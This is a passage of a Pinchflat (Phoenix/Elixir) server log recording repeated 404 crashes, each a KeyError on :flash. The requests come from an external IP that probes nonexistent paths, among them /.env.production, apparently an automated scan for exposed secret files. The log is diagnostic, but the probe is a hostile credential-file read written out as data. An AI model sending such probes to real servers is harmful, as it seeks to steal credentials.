s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:08:35.235 [info] Sent 200 in 12ms 21:08:36.635 [info] GET /subscribe 21:08:36.636 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=1403.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.636 [debug] QUERY OK source="settings" db=0.1ms idle=1403.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.636 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.637 [error] #PID<0.3090.0> running PinchflatWeb.Endpoint (connection #PID<0.3089.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /subscribe ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /subscribe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3089.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/subscribe", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49228}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3090.0>, params: %{}, path_info: ["subscribe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/subscribe", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-TkVe_0AQqsAAMiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3089.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/subscribe", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49228}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /subscribe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3089.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/subscribe", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49228}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3090.0>, params: %{}, path_info: ["subscribe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.inte (truncated) 21:08:36.646 [info] GET /cart 21:08:36.647 [debug] QUERY OK source="settings" db=0.4ms idle=1413.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.647 [debug] QUERY OK source="settings" db=0.1ms idle=1413.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.647 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.648 [error] #PID<0.3092.0> running PinchflatWeb.Endpoint (connection #PID<0.3091.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /cart ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cart (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3091.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cart", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49232}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3092.0>, params: %{}, path_info: ["cart"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/cart", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-TnAd89DV8cAAMkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3091.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cart", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49232}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cart (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3091.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cart", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49232}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3092.0>, params: %{}, path_info: ["cart"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", (truncated) 21:08:36.656 [info] GET /.env.production 21:08:36.657 [debug] QUERY OK source="settings" db=0.4ms idle=420.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.658 [debug] QUERY OK source="settings" db=0.2ms idle=21.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.658 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.659 [error] #PID<0.3094.0> running PinchflatWeb.Endpoint (connection #PID<0.3093.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3093.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49234}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3094.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-TpfReNOkm4AAMmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3093.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49234}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3093.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49234}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3094.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwa (truncated) 21:08:36.667 [info] GET /signup 21:08:36.668 [debug] QUERY OK source="settings" db=0.1ms idle=31.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.668 [debug] QUERY OK source="settings" db=0.2ms idle=21.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.668 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.669 [error] #PID<0.3096.0> running PinchflatWeb.Endpoint (connection #PID<0.3095.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /signup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /signup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3095.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49240}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3096.0>, params: %{}, path_info: ["signup"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/signup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-TsCx7kE6YkAAMoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3095.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49240}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /signup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3095.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/signup", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49240}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: 